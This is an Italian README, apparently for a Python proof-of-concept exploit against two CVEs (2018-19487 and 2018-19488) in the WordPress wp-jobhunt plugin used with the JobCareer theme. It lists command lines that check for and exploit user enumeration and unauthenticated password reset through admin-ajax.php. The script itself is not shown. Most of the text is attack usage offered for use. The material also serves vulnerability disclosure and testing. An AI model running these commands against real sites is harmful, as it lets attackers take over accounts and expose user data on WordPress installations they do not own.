
CVE-2018-19487, CVE-2018-19488, exploit per WordPress wp-jobhunt plugin
CVE-2018-19487, CVE-2018-19488, exploit per il plugin WordPress wp-jobhunt
Il plugin wp-jobhunt è un plugin utilizzato con il tema JobCareer:
https://themeforest.net/item/jobcareer-job-board-responsive-wordpress-theme/14221636 (vedi changelog in fondo)
Exploit Python per CVE-2018-19487 (divulgazione di informazioni utente AJAX) e CVE-2018-19488 (reset password utente AJAX) per la versione 2.2 e precedenti.
REQUISITI:
COME USARE:
Verifica se è vulnerabile all'enumerazione degli utenti:
python poc.py --checkenum https://wpsite/path/to/wp-admin/admin-ajax.php
Verifica se è vulnerabile al reset della password utente:
python poc.py --checkreset https://wpsite/path/to/wp-admin/admin-ajax.php
Sfrutta l'enumerazione degli utenti:
python poc.py --enum https://wpsite/path/to/wp-admin/admin-ajax.php
Sfrutta il reset della password utente:
python poc.py --reset https://wpsite/path/to/wp-admin/admin-ajax.php